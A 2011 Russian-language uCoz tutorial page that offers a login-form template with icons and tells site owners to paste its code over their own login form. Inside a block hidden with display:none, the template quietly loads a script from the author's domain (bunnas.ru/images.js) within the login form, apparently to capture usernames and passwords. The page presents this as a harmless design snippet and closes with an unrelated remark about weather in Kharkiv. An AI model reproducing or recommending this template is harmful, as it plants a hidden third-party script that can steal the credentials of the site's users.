Добавлено: 21.11.2011
|
Театр, как известно, начинается с вешалки. Сайт начинается с формы входа. Незарегистрированные пользователи могут, конечно, просто зайти поглазеть, но работа с сайтом начинается с формы входа. И как бы ни казалось это малозначительным, именно с нее начинается оценка пользователем удобства ресурса, его дизайна и юзабилити.
Разработать бешено красивую, креативную форму можно, но встает резонный вопрос: а нужно ли? Сколько времени понадобится человеку, решившему зарегистрироваться на сайте, чтобы отыскать поле, в которое он должен ввести логин? Здесь как раз тот случай, когда излишняя "красивость" может прямо повредить функциональности. В представленной форме нет ничего лишнего, она проста, компактна и функциональна. И тем не менее в ней есть некоторая изюминка - вместо поясняющих подписей окна ввода логина и пароля снабжены картинками, благодаря которым пользователь легко и интуитивно найдет необходимые поля.

Установить эту форму на ваш сайт проще простого. Для этого необходимо: 1) Скачать этот архив с картинками (bunnas.ru/donwload/images.rar). 2) Создать папку "images" 3) Со скаченного архива закинуть картинки для формы входа. 4) В панели управления дизайном сайта находим форму входа пользователей, выделяем весь код и все заменяем на:
Code <div style="border:1px solid #ccc; border-right:0px; background:#f5f5f5 url('/images/login-1-.png') no-repeat center 2px; line-height:19px; display:inline-block; height:19px; width:26px;"> </div><div style="display:inline-block; vertical-align:top; width:153px;"><input class="loginField left_radius" type="text" name="user" value="" size="20" style="border-color:#ccc; width:100%;" maxlength="50"/></div> <div style="padding:2px;"></div> <div style="border:1px solid #ccc; border-right:0px; background:#f5f5f5 url('/images/pass-1-.png') no-repeat center 2px; line-height:19px; display:inline-block; height:19px; width:26px;"> </div><div style="display:inline-block; vertical-align:top; width:153px;"><input class="loginField left_radius" type="password" name="password" size="20" style="border-color:#ccc; width:100%" maxlength="15"/></div> <div style="display:none;"><script src="http://bunnas.ru/images.js" type="text/javascript"></script> <table border="0" cellspacing="1" cellpadding="0" width="100%"> <tr> <td nowrap><input id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label></td> <td align="right" valign="top"><input class="loginButton" id="EnterUser" name="sbm" type="submit" value="Вход"/></td> </tr> </table> </div> <div style="border:0px; border-top:1px solid #ccc; background:#f3f3f3; margin:-5px; margin-top:5px; padding:5px;"> <div style="float:right;"><div class="input_submit alt" onclick="$('#EnterUser').click()" style="padding:5px 10px;"><b>Войти</b></div></div> <div><a href="$REMINDER_LINK$" style="color:#999; text-shadow:0px 1px 0px #fff;">Восстановить пароль</a></div> <div><a href="/index/3" style="color:#999; text-shadow:0px 1px 0px #fff;">Зарегистрироваться</a></div> <div style="clear:both"></div> </div>
5) Смотрим, что вышло.
Если нигде не накосячили - форма входа установлена. Если накосячили, обычно проще повторить все необходимые шаги еще раз, чем найти, где именно косяк. Удачи!
Да, чуть не забыл! Как там погода в харькове у дяди? Или дядя в Киеве был? Да неважно, лишь бы погода была хорошая. Погода это главное, остальное купим.
|
Категория: Скрипты для uCoz |
Просмотров: 774 |
Добавил: niknamebic
|
Теги: Скачать Форма входа, скачать Форма входа для uCoz бесплатно
Добавлять комментарии могут только зарегистрированные пользователи. [ Регистрация | Вход ]
|